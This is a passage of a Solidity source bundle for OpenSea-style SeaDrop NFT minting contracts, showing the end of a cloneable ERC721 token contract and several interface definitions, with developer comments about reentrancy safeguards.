__ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n __DefaultOperatorFilterer_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n * - The `operator` must be allowed.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n * - The `operator` mut be allowed.\n *\n * Emits an {Approval} event.\n */\n function approve(address operator, uint256 tokenId)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.approve(operator, tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator can only update `feeBps`.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator, when present, must first set `feeBps`.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the administrator can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * 